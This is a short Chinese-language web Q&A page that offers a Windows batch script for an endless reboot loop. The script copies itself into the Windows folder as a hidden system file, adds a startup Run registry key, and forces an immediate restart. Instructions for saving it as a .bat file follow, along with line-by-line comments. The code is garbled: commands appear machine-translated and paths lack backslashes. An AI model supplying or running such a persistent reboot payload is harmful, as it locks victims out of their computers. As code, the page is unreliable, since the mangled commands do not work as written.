win10关机代码bat 电脑无限重启.bat代码是什么?
电脑无限重启.bat代码是什么?代码如下@echo off复制%0 C:windows关机.bat属性c:windows关机.batS Hreg add HKEY本地计算机软件MicrosoftWin
电脑无限重启.bat代码是什么?
代码如下
@echo off
复制%0 C:windows关机.bat
属性c:windows关机.batS H
reg add HKEY本地计算机软件MicrosoftWindowsCurrentVersionRun/v lin/t reg SZ/d c:Windows关机.bat/f] ]shutdown-R-t0
exit
用法:
复制代码,创建一个新的记事本,粘贴它,并保存为:文件名格式。Bat
注释:
@echo off close output display
reg operation registry
add add HKEY LOCAL MachinesoftwareMicrosoftwindowsCurrentVersionrun boot registry key/V Lin/T reg SZ/D创建一个键值并分配给C:关机.bat/F C盘关机.bat批处理的路径和名称shutdown system shutdown command-R restart-t time 0.0秒
退出批处理